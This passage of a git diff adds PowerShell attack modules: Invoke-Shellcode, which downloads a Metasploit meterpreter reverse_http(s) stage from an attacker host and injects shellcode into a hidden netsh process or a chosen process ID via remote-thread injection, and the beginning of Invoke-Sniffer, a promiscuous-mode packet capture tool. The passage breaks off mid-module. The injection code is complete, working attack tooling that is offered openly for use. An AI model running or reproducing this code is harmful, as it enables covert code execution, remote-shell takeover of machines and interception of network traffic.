(NOP), 0x90 (NOP), 0xC3 (RET) +Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit! + +.EXAMPLE + +C:\PS> Invoke-Shellcode -ListMetasploitPayloads + +Payloads +-------- +windows/meterpreter/reverse_http +windows/meterpreter/reverse_https + +.NOTES + +Use the '-Verbose' option to print detailed information. + +Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter + +Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/ + +.LINK + +http://www.exploit-monday.com +#> + +[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param ( + [ValidateNotNullOrEmpty()] + [UInt16] + $ProcessID, + + [Parameter( ParameterSetName = 'RunLocal' )] + [ValidateNotNullOrEmpty()] + [Byte[]] + $Shellcode, + + [Parameter( ParameterSetName = 'Metasploit' )] + [ValidateSet( 'windows/meterpreter/reverse_http', + 'windows/meterpreter/reverse_https', + IgnoreCase = $True )] + [String] + $Payload = 'windows/meterpreter/reverse_http', + + [Parameter( ParameterSetName = 'ListPayloads' )] + [Switch] + $ListMetasploitPayloads, + + [Parameter( Mandatory = $True, + ParameterSetName = 'Metasploit' )] + [ValidateNotNullOrEmpty()] + [String] + $Lhost = '127.0.0.1', + + [Parameter( Mandatory = $True, + ParameterSetName = 'Metasploit' )] + [ValidateRange( 1,65535 )] + [Int] + $Lport = 8443, + + [Parameter( ParameterSetName = 'Metasploit' )] + [ValidateNotNull()] + [String] + $UserAgent = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').'User Agent', + + [Parameter( ParameterSetName = 'Metasploit' )] + [ValidateNotNull()] + [Switch] + $Legacy = $False, + + [Parameter( ParameterSetName = 'Metasploit' )] + [ValidateNotNull()] + [Switch] + $Proxy = $False, + + [Switch] + $Force = $False +) + + Set-StrictMode -Version 2.0 + + # List all available Metasploit payloads and exit the function + if ($PsCmdlet.ParameterSetName -eq 'ListPayloads') + { + $AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes | + Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]} + + foreach ($Payload in $AvailablePayloads.ValidValues) + { + New-Object PSObject -Property @{ Payloads = $Payload } + } + + Return + } + + if ( $PSBoundParameters['ProcessID'] ) + { + # Ensure a valid process ID was provided + # This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive + Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null + } else { + $pst = New-Object System.Diagnostics.ProcessStartInfo + $pst.WindowStyle = 'Hidden' + $pst.UseShellExecute = $False + $pst.CreateNoWindow = $True + if ($env:PROCESSOR_ARCHITECTURE -eq "x86"){ + $pst.FileName = "C:\Windows\System32\netsh.exe" + } else { + $pst.FileName = "C:\Windows\Syswow64\netsh.exe" + } + $Process = [System.Diagnostics.Process]::Start($pst) + [UInt16]$NewProcID = ($Process.Id).tostring() + $ProcessID = $NewProcID + $PSBoundParameters['ProcessID'] = $NewProcID + Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null + } + + function Local:Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + function Local:Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + # Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload + function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture) + { + $IntSizePtr = $Architecture / 8 + + function Local:ConvertTo-LittleEndian ([IntPtr] $Address) + { + $LittleEndianByteArray = New-Object Byte[](0) + $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } } + [System.Array]::Reverse($LittleEndianByteArray) + + Write-Output $LittleEndianByteArray + } + + $CallStub = New-Object Byte[](0) + + if ($IntSizePtr -eq 8) + { + [Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode + $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode + $CallStub += 0xFF,0xD0 # CALL RAX + $CallStub += 0x6A,0x00 # PUSH BYTE 0 + $CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread + $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread + $CallStub += 0xFF,0xD0 # CALL RAX + } + else + { + [Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode + $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode + $CallStub += 0xFF,0xD0 # CALL EAX + $CallStub += 0x6A,0x00 # PUSH BYTE 0 + $CallStub += 0xB8 # MOV DWORD EAX, &ExitThread + $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread + $CallStub += 0xFF,0xD0 # CALL EAX + } + + Write-Output $CallStub + } + + function Local:Inject-RemoteShellcode ([Int] $ProcessID) + { + # Open a handle to the process you want to inject into + $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF) + + if (!$hProcess) + { + Throw "Unable to open a process handle for PID: $ProcessID" + } + + $IsWow64 = $false + + if ($64bitCPU) # Only perform theses checks if CPU is 64-bit + { + # Determine is the process specified is 32 or 64 bit + $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null + + #if ((!$IsWow64) -and $PowerShell32bit) + #{ + # Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.' + #} + #elseif ($IsWow64) # 32-bit Wow64 process + if ($IsWow64) # 32-bit Wow64 process + { + if ($Shellcode32.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode32 variable!' + } + + $Shellcode = $Shellcode32 + Write-Verbose 'Injecting into a Wow64 process.' + Write-Verbose 'Using 32-bit shellcode.' + } + else # 64-bit process + { + if ($Shellcode64.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode64 variable!' + } + + $Shellcode = $Shellcode64 + Write-Verbose 'Using 64-bit shellcode.' + } + } + else # 32-bit CPU + { + if ($Shellcode32.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode32 variable!' + } + + $Shellcode = $Shellcode32 + Write-Verbose 'Using 32-bit shellcode.' + } + + # Reserve and commit enough memory in remote process to hold the shellcode + $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) + + if (!$RemoteMemAddr) + { + Throw "Unable to allocate shellcode memory in PID: $ProcessID" + } + + Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))" + + # Copy shellcode into the previously allocated memory + $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null + + # Get address of ExitThread function + $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread + + if ($IsWow64) + { + # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread. + $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32 + + Write-Verbose 'Emitting 32-bit assembly call stub.' + } + else + { + # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread. + $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64 + + Write-Verbose 'Emitting 64-bit assembly call stub.' + } + + # Allocate inline assembly stub + $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX) + + if (!$RemoteStubAddr) + { + Throw "Unable to allocate thread call stub memory in PID: $ProcessID" + } + + Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))" + + # Write 32-bit assembly stub to remote process memory space + $WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null + + # Execute shellcode as a remote thread + $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero) + + if (!$ThreadHandle) + { + Throw "Unable to launch remote thread in PID: $ProcessID" + } + + # Close process handle + $CloseHandle.Invoke($hProcess) | Out-Null + + Write-Verbose 'Shellcode injection complete!' + } + + function Local:Inject-LocalShellcode + { + if ($PowerShell32bit) { + if ($Shellcode32.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode32 variable!' + return + } + + $Shellcode = $Shellcode32 + Write-Verbose 'Using 32-bit shellcode.' + } + else + { + if ($Shellcode64.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode64 variable!' + return + } + + $Shellcode = $Shellcode64 + Write-Verbose 'Using 64-bit shellcode.' + } + + # Allocate RWX memory for the shellcode + $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) + if (!$BaseAddress) + { + Throw "Unable to allocate shellcode memory in PID: $ProcessID" + } + + Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))" + + # Copy shellcode to RWX buffer + [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length) + + # Get address of ExitThread function + $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread + + if ($PowerShell32bit) + { + $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32 + + Write-Verbose 'Emitting 32-bit assembly call stub.' + } + else + { + $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64 + + Write-Verbose 'Emitting 64-bit assembly call stub.' + } + + # Allocate RWX memory for the thread call stub + $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) + if (!$CallStubAddress) + { + Throw "Unable to allocate thread call stub." + } + + Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))" + + # Copy call stub to RWX buffer + [System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length) + + # Launch shellcode in it's own thread + $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero) + if (!$ThreadHandle) + { + Throw "Unable to launch thread." + } + + # Wait for shellcode thread to terminate + $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null + + $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) + $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) + + Write-Verbose 'Shellcode injection complete!' + } + + # A valid pointer to IsWow64Process will be returned if CPU is 64-bit + $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process + if ($IsWow64ProcessAddr) + { + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + + $64bitCPU = $true + } + else + { + $64bitCPU = $false + } + + if ([IntPtr]::Size -eq 4) + { + $PowerShell32bit = $true + } + else + { + $PowerShell32bit = $false + } + + if ($PsCmdlet.ParameterSetName -eq 'Metasploit') + { + $Response = $True + + if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?", + "About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { } + + if ( !$Response ) + { + # User opted not to carry out download of Metasploit payload. Exit function + Return + } + + switch ($Payload) + { + 'windows/meterpreter/reverse_http' + { + $SSL = '' + } + + 'windows/meterpreter/reverse_https' + { + $SSL = 's' + # Accept invalid certificates + [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$True} + } + } + + if ($Legacy) + { + # Old Meterpreter handler expects 'INITM' in the URI in order to initiate stage 0 + $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM" + Write-Verbose "Requesting meterpreter payload from $Request" + } else { + + # Generate a URI that passes the test + $CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {[Char]$_} + $SumTest = $False + + while ($SumTest -eq $False) + { + $GeneratedUri = $CharArray | Get-Random -Count 4 + $SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92) + } + + $RequestUri = -join $GeneratedUri + + $Request = "http$($SSL)://$($Lhost):$($Lport)/$($RequestUri)" + } + + $Uri = New-Object Uri($Request) + $WebClient = New-Object System.Net.WebClient + $WebClient.Headers.Add('user-agent', "$UserAgent") + + if ($Proxy) + { + $WebProxyObject = New-Object System.Net.WebProxy + $ProxyAddress = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').ProxyServer + + # if there is no proxy set, then continue without it + if ($ProxyAddress) + { + + $WebProxyObject.Address = $ProxyAddress + $WebProxyObject.UseDefaultCredentials = $True + $WebClientObject.Proxy = $WebProxyObject + } + } + + try + { + [Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri) + } + catch + { + Throw "$($Error[0].Exception.InnerException.InnerException.Message)" + } + [Byte[]] $Shellcode64 = $Shellcode32 + + } + elseif ($PSBoundParameters['Shellcode']) + { + # Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets + # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it. + [Byte[]] $Shellcode32 = $Shellcode + [Byte[]] $Shellcode64 = $Shellcode32 + } + + if ( $PSBoundParameters['ProcessID'] ) + { + # Inject shellcode into the specified process ID + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle + $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) + + Write-Verbose "Injecting shellcode into PID: $ProcessId" + + if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', + "Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) ) + { + Inject-RemoteShellcode $ProcessId + } + } + else + { + # Inject shellcode into the currently running PowerShell process + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + + Write-Verbose "Injecting shellcode into PowerShell" + + if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', + "Injecting shellcode into the running PowerShell process!" ) ) + { + Inject-RemoteShellcode $ProcessId + } + } +} \ No newline at end of file diff --git a/Modules/Invoke-Sniffer.ps1 b/Modules/Invoke-Sniffer.ps1 new file mode 100644 index 0000000..0de95d0 --- /dev/null +++ b/Modules/Invoke-Sniffer.ps1 @@ -0,0 +1,455 @@ +function Invoke-Sniffer +{ +<# +.SYNOPSIS + + Generates a packet capture into an output file + Author: Matthew Graeber (@mattifestation) A .Net based PowerShell packet sniffer ("promiscuous mode" must be supported by hardware/driver) + +.DESCRIPTION + + Invoke-Sniffer writes a capture dump file. + This is similar to tcpdump or windump but only ascii txt + +.EXAMPLE + + Invoke-Sniffer -OutputFile C:\Temp\Output.txt -MaxSize 500MB + +.LINK + + https://raw.githubusercontent.com/sperner/PowerShell/master/Sniffer.ps1 + +#> + +param( [String]$LocalIP = "NotSpecified", [String]$ScanIP="all", [String]$Protocol = "all", ` + [String]$Port="all", [Int]$Seconds = 0, [switch]$ResolveHosts, [switch]$Help, [String]$OutputFile, $MaxSize) + +# Help / display usage +if( $Help ) +{ + Write-Output "usage: $($MyInvocation.MYCommand) [-OutputFile ] [-LocalIP ] [-ScanIP ] [-Protocol ] [-Port ] [-Seconds ] [-ResolveHosts]" + exit -1 +} + +# Params +if (!$OutputFile){ + if (!(Test-Path -Path C:\Temp)) + { + New-Item C:\Temp -type directory + } + $OutputFile = "C:\Temp\Dump.txt" +} + +if (!$MaxSize) +{ + $MaxSize = 100MB +} + +$starttime = Get-Date +$byteIn = New-Object Byte[] 4 # source +$byteOut = New-Object Byte[] 4 # destination +$byteData = New-Object Byte[] 4096 # size of data + +$byteIn[0] = 1 # enable promiscuous mode +$byteIn[1-3] = 0 +$byteOut[0-3] = 0 + +# TCP Flags +$TCPFIN = [Byte]0x01 +$TCPSYN = [Byte]0x02 +$TCPRST = [Byte]0x04 +$TCPPSH = [Byte]0x08 +$TCPACK = [Byte]0x10 +$TCPURG = [Byte]0x20 + + +# Convert from big to little endian & convert to uint16 +Function NetworkToHostUInt16( $address ) +{ + [Array]::Reverse( $address ) + return [BitConverter]::ToUInt16( $address, 0 ) +} + +# Convert from big to little endian & convert to uint32 +Function NetworkToHostUInt32( $address ) +{ + [Array]::Reverse( $address ) + return [BitConverter]::ToUInt32( $address, 0 ) +} + +# Convert from big to little endian & convert to string +Function ByteToString( $address ) +{ + $AsciiEncoding = New-Object System.Text.ASCIIEncoding + return $AsciiEncoding.GetString( $address ) +} + + +# Get IP-address <-> hostname +$hosts = @{} # array for hostnames +Function resolve( $IPAddress ) +{ + if( $data = $hosts."$($IPAddress.IPAddressToString)" ) + { + if( $IPAddress.IPAddressToString -eq $data ) + { + return [System.Net.IPAddress]$IPAddress + } + else + { + return $data + } + } + else + { # much faster than [System.Net.DNS]::GetHostEntry() + $null,$null,$null,$data = nslookup $IPAddress.IPAddressToString 2>$null + $data = $data -match "Name:" + if( $data -match "Name:" ) + { + $data = $data[0] -replace "Name:\s+","" + $hosts."$($IPAddress.IPAddressToString)" = "$data" + return $data + } + else + { + $hosts."$($IPAddress.IPAddressToString)" = "$($IPAddress.IPAddressToString)" + return $IPAddress + } + } +} + + +# Read "services" file +$servicesFilePath = "$env:windir\System32\drivers\etc\services" +# / [aliases...] [#] +$serviceFile = [IO.File]::ReadAllText("$env:windir\System32\drivers\etc\services") -split +# filter out all comment lines +([Environment]::NewLine) -notlike "#*" + +# Read protocols from services +Function getService( $port ) +{ + $protocols = foreach( $line in $serviceFile ) + { + # not empty lines + if( -not $line ) { continue } + + # split lines into name, port+proto, alias+comment + $serviceName, $portAndProtocol, $aliasesAndComments = $line.Split(' ', [StringSplitOptions]'RemoveEmptyEntries') + # split port+proto into port, proto + $portNumber, $protocolName = $portAndProtocol.Split("/") + + if( $portNumber -eq $port ) + { + return $serviceName + } + } +} + + +# Get local IP-Address +if( $LocalIP -eq "NotSpecified" ) +{ + route print 0* | + %{ + if( $_ -match "\s{2,}0\.0\.0\.0" ) + { + $null,$null,$null,$LocalIP,$null = [regex]::replace($_.trimstart(" "),"\s{2,}",",").split(",") + } + } +} +Write-Output "Local IP: $LocalIP" | Out-File $outputfile -Append +Write-Output "ProcessID: $PID" | Out-File $outputfile -Append +Write-Output "" | Out-File $outputfile -Append + + +# Open a raw ip socket +$Socket = New-Object System.Net.Sockets.Socket( [Net.Sockets.AddressFamily]::InterNetwork, [Net.Sockets.SocketType]::Raw, [Net.Sockets.ProtocolType]::IP ) +# Include the ip header +$Socket.SetSocketOption( "IP", "HeaderIncluded", $true ) +# Big packet buffer +$Socket.ReceiveBufferSize = 1024000 +# Create ip endpoint +$Endpoint = New-Object System.Net.IPEndpoint( [Net.IPAddress]"$LocalIP", 0 ) +$Socket.Bind( $Endpoint ) +# Enable promiscuous mode +[void]$Socket.IOControl( [Net.Sockets.IOControlCode]::ReceiveAll, $byteIn, $byteOut ) + +Write-Output "Press ESC to stop the packet sniffer ..." | Out-File $outputfile -Append +Write-Output "" | Out-File $outputfile -Append +$escKey = 27 +$running = $true + + +# Start sniffing +$packets = @() # array for packets +while( $running ) +{ + # when a key was pressed... + if( $host.ui.RawUi.KeyAvailable ) + { + $key = $host.ui.RawUI.ReadKey( "NoEcho,IncludeKeyUp,IncludeKeyDown" ) + # if ESC was pressed, stop sniffing + if( $key.VirtualKeyCode -eq $ESCkey ) + { + $running = $false + } + } + # timeout after $Seconds... + if( $Seconds -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Seconds)) ) + { + exit + } + # no packets in card buffer... + if( -not $Socket.Available ) + { + start-sleep -milliseconds 300 + continue + } + + # receive data + $rData = $Socket.Receive( $byteData, 0, $byteData.length, [Net.Sockets.SocketFlags]::None ) + # decode the packet + $MemoryStream = New-Object System.IO.MemoryStream( $byteData, 0, $rData ) + $BinaryReader = New-Object System.IO.BinaryReader( $MemoryStream ) + + # b1 - version & header length + $VerHL = $BinaryReader.ReadByte( ) + # b2 - type of service + $TOS= $BinaryReader.ReadByte( ) + # b3,4 - total length + $Length = NetworkToHostUInt16 $BinaryReader.ReadBytes( 2 ) + # b5,6 - identification + $Ident = NetworkToHostUInt16 $BinaryReader.ReadBytes( 2 ) + # b7,8 - flags & offset + $FlagsOff = NetworkToHostUInt16 $BinaryReader.ReadBytes( 2 ) + # b9 - time to live + $TTL = $BinaryReader.ReadByte( ) + # b10 - protocol + $ProtocolNumber = $BinaryReader.ReadByte( ) + # b11,12 - header checksum + $Checksum = [Net.IPAddress]::NetworkToHostOrder( $BinaryReader.ReadInt16() ) + # b13-16 - source ip address + $SourceIP = $BinaryReader.ReadUInt32( ) + $SourceIP = [System.Net.IPAddress]$SourceIP + # b17-20 - destination ip address + $DestinationIP = $BinaryReader.ReadUInt32( ) + $DestinationIP = [System.Net.IPAddress]$DestinationIP + + # get ip version (bits 0-3) + $ipVersion = [int]"0x$(('{0:X}' -f $VerHL)[0])" + # get header length (bits 4-7) + $HeaderLength = [int]"0x$(('{0:X}' -f $VerHL)[1])" * 4 + + # header includes Options... + if($HeaderLength -gt 20) + { + [void]$BinaryReader.ReadBytes( $HeaderLength - 20 ) # should probably do something with this later + } + + $Data = "" + $TCPFlagsString = @() # make this an array + $TCPWindow = "" + $SequenceNumber = "" + + switch( $ProtocolNumber ) + { + 1 { # ICMP + $ProtocolDesc = "ICMP" + $sourcePort = [uint16]0 + $destPort = [uint16]0 + $ICMPType = $BinaryReader.ReadByte() + $ICMPCode = $BinaryReader.ReadByte() + switch( $ICMPType ) + { + 0 { $ICMPTypeDesc = "Echo reply"; break } + 3 { $ICMPTypeDesc = "Destination unreachable" + switch( $ICMPCode ) + { + 0 { $ICMPCodeDesc = "Network not reachable"; break } + 1 { $ICMPCodeDesc = "Host not reachable"; break } + 2 { $ICMPCodeDesc = "Protocol not reachable"; break } + 3 { $ICMPCodeDesc = "Port not reachable"; break } + 4 { $ICMPCodeDesc = "Fragmentation needed"; break } + 5 { $ICMPCodeDesc = "Route not possible"; break } + 13 { $ICMPCodeDesc = "Administratively not possible"; break } + default { $ICMPCodeDesc = "Other ($_)" } + } + break + } + 4 { $ICMPTypeDesc = "Source quench"; break } + 5 { $ICMPTypeDesc = "Redirect"; break } + 8 { $ICMPTypeDesc = "Echo request"; break } + 9 { $ICMPTypeDesc = "Router advertisement"; break } + 10 { $ICMPTypeDesc = "Router solicitation"; break } + 11 { $ICMPTypeDesc = "Time exceeded" + switch( $ICMPCode ) + { + 0 { $ICMPCodeDesc = "TTL exceeded"; break } + 1 { $ICMPCodeDesc = "While fragmenting exceeded"; break } + default { $ICMPCodeDesc = "Other ($_)" } + } + break + } + 12 { $ICMPTypeDesc = "Parameter problem"; break } + 13 { $ICMPTypeDesc = "Timestamp"; break } + 14 { $ICMPTypeDesc = "Timestamp reply"; break } + 15 { $ICMPTypeDesc = "Information request"; break } + 16 { $ICMPTypeDesc = "Information reply"; break } + 17 { $ICMPTypeDesc = "Address mask request"; break } + 18 { $ICMPTypeDesc = "Address mask reply"; break } + 30 { $ICMPTypeDesc = "Traceroute"; break } + 31 { $ICMPTypeDesc = "Datagram conversion error"; break } + 32 { $ICMPTypeDesc = "Mobile host redirect"; break } + 33 { $ICMPTypeDesc = "Where-are-you"; break } + 34 { $ICMPTypeDesc = "I-am-here"; break } + 35 { $ICMPTypeDesc = "Mobile registration request"; break } + 36 { $ICMPTypeDesc = "Mobile registration reply"; break } + 37 { $ICMPTypeDesc = "Domain name request"; break } + 38 { $ICMPTypeDesc = "Domain name reply"; break } + 39 { $ICMPTypeDesc = "SKIP"; break } + 40 { $ICMPTypeDesc = "Photuris"; break } + 41 { $ICMPTypeDesc = "Experimental mobility protocol"; break } + default { $ICMPTypeDesc = "Other ($_)" } + } + $ICMPChecksum = [System.Net.IPAddress]::NetworkToHostOrder($BinaryReader.ReadInt16()) + $Data = ByteToString $BinaryReader.ReadBytes($Length - ($HeaderLength - 32)) + break + } + 2 { # IGMP + $ProtocolDesc = "IGMP" + $sourcePort = [uint16]0 + $destPort = [uint16]0 + $IGMPType = $BinaryReader.ReadByte() + $IGMPMaxRespTime = $BinaryReader.ReadByte() + $IGMPChecksum = [System.Net.IPAddress]::NetworkToHostOrder($BinaryReader.ReadInt16()) + $Data = ByteToString $BinaryReader.ReadBytes($Length - ($HeaderLength - 32)) + 